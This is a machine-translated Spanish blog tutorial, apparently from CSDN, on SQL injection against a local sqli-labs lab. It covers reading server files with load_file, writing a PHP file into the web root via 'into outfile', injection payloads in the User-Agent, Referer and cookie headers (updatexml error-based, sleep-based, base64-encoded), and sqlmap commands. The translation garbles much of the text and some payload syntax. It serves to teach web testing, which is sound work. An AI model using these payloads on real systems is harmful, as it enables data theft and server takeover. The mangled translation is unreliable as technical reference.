seguridad Web de aprendizaje ofensivo y defensivo --07- (inyección MySQL leer y escribir archivos, cabeceras HTTP inyección SQL, inyección HTTP User-Agent, referer inyección, inyección de galletas) (cursiva)

1, inyección MySQL leer y escribir archivos

base de datos MySQL durante el proceso de infiltración puede ser utilizado, o más funciones, además de la lectura de datos, el archivo se puede leer (si permisos suficientes)

premisa de lectura:

  • 1. El derecho de usuario es lo suficientemente alta, tanto como sea posible con privilegios de root
  • 2.secure_file_priv no nula

Secure_file_priv muestra en la figura.
Necesidad de fijar artificialmente un valor predeterminado de secure_file_priv

Aquí Insertar imagen Descripción
Modificar el archivo de configuración de base de datos:
Aquí Insertar imagen Descripción
Después de guardar el archivo de reinicio Phpstudy2018, revalidación:

Aquí Insertar imagen Descripción

Leer los contenidos del archivo

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1, load_file ( 'D: \ 1.txt'), 3 - +

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1, load_file ( 'C: \ Users \ Administrator \ Desktop \ sqlmap \ sqlmapproject-sqlmap-3b7dd2c \ Target.txt'), 3 - +
Aquí Insertar imagen Descripción

MySQL archivo abierto de escritura

mostrar variables como '%% general' ; # defecto está desactivada
conjunto general_log mundial = on;

Aquí Insertar imagen Descripción
Sql comenzar a escribir el archivo:

http://127.0.0.1/sqli/Less-7/?id=-1 ')) union select 1,' <? php phpinfo (); ?>', 3 en archivo_salida 'C: \\ Usuarios \\ \\ administrador de escritorio \\ \\ sqlmap sqlmapproject-sqlmap-3b7dd2c \\ Target.txt' - +

Tenga en cuenta que la ruta del archivo debe duplicar intervalo de barra , en archivo_salida es el resultado de la consulta SQL anterior está de nuevo a la carpeta de ruta escrito.

"<? Php phpinfo ();>" http://127.0.0.1/sqli/Less-7/?id=-1' )) unión seleccionar 1,, 3 en archivosalida “G: \\ phpstudy2018 \\ PHPTutorial \\ \\ WWW sqli \\ Menos-7 \\ 1.php”- +

Sqlmap utilizar para leer y escribir archivos

pitón sqlmap.py -u “http://127.0.0.1/sqli/Less-7/?id=1” leer --file-“D: \\ 1.txt”
Aquí Insertar imagen Descripción

2, cabecera HTTP de inyección SQL

Introducción de inyección de cabecera HTTP
en el caso de la conciencia de seguridad cada vez más atención, una gran cantidad de sitios son vulnerabilidades que impidan. Tales como la inyección SQL, los parámetros son enviadas por los usuarios que ciertas medidas se filtran código.
Filtrar los parámetros directamente del usuario, pero el contenido presentado en el encabezado HTTP es probable que no habrá filtrado.

función updatexml
UPDATEXML (XML_document, XPath_string, nuevo_valor) ;
primer parámetro: formato de cadena XML_document es, como el nombre del objeto de documento XML, Doc el presente documento como
el segundo argumento: XPath_string (formato de cadena Xpath)
el tercer parámetro: nuevo_valor , el formato de cadena, en lugar de los datos que se encuentran calificados

  • HTTP User-Agent 注入
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1' = '1
0x7e是转义字符~

versión de la información de salida
Aquí Insertar imagen Descripción
Aquí Insertar imagen Descripción
nombre de la base de datos de salida

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1' = '1
0x7e是转义字符~

Aquí Insertar imagen Descripción
Kali otra máquina virtual métodos de prueba y herramientas:
Aquí Insertar imagen Descripción
'1' o =' Caso cerrado 1 como sigue. :

# ' or '1'='1        报错信息
正常sql语句如下
select * from users where id = '1';

推导出闭合语句为:
select * from users where id = '1‘ or ’1‘=’1 ';      闭合成功

Aquí Insertar imagen Descripción
Aquí Insertar imagen Descripción

  • inyección referer
' or if(1=1,sleep(5),null)  or '1'='1

Aquí Insertar imagen Descripción
Aquí Insertar imagen Descripción
seguridad sqlmap pruebas
sqlmap automáticamente formulario de búsqueda después de la inyección
parámetros especificados sqlmap para detectar SQL inyección
árbitro sqlmap inyecta en el árbitro seguido por el * o *

2, la inyección de galletas

HTTP inyección descrito cabecera
servidor puede utilizar cookies para contener cualquiera de la pantalla de información y la información de mantenimiento regular para determinar el estado del transporte HTTP. Galletas aplicación más clásico es para determinar si el usuario ha iniciado sesión sitio.
Aquí Insertar imagen Descripción
la inyección de galletas
usando los códigos de parámetros de cookies transmitida, pero no el parámetro de cookies aprobó la operación de filtrado. Conducir a vulnerabilidades de inyección SQL.

carga inyectada

Cookie: uname = admin' o 1 = 1 - +
Cookie: uname = admin' y updatexml (1, concat (0x7E, version (), 0x7e), 1) - +
Aquí Insertar imagen Descripción
Aquí Insertar imagen Descripción

prueba de seguridad sqlmap

sqlmap -r Target.txt --level 3 --batch
Aquí Insertar imagen Descripción

inyección de la galleta Base64
Base64 describe
base64 codificación binaria para el carácter del proceso, que puede ser utilizado para transmitir información de identificación más largo en un entorno HTTP. base64 es uno de la red más común para la transmisión de 8 bits que codifica bytecode, base64 se basa en 64 caracteres imprimibles a la representación de datos binarios.

El contenido original se convierte a binario, de izquierda a derecha para tomar seis, y luego rellenar los dos más altos 0, para formar un nuevo contenido (puede ser de nuevo convertido)

Reglas de codificación

  • 1. 3 caracteres 4 caracteres en
  • 2. Cada 76 caracteres, además de una nueva línea
  • 3. Por último, tenemos que abordar terminador

cookie de análisis de código Base64 inyectar
URL cifrado de base 64

Si el aviso comunicadas: date (): Set date.timezone en php.ini es una República Popular China, después engarzada a: date.timezone = PRC
using inyección de cifrado de base 64 se inserta en la posición correspondiente a completar la inyección de SQL Cookies detectar vulnerabilidades.

Aquí Insertar imagen Descripción
Después de modificar el reinicio salvado
Aquí Insertar imagen Descripción
Aquí Insertar imagen Descripción
de texto claro "o. 1. 1 = # (cifrada a continuación)

IiBvciAxPTEgIw ==

pruebas de seguridad sqlmap

pitón sqlmap.py -r Target.txt --level 3 --tamper base64encode.py

Publicado 60 artículos originales · ganado elogios 9 · vistas 5041

Supongo que te gusta

Origin blog.csdn.net/weixin_42118531/article/details/104626207
Recomendado
Clasificación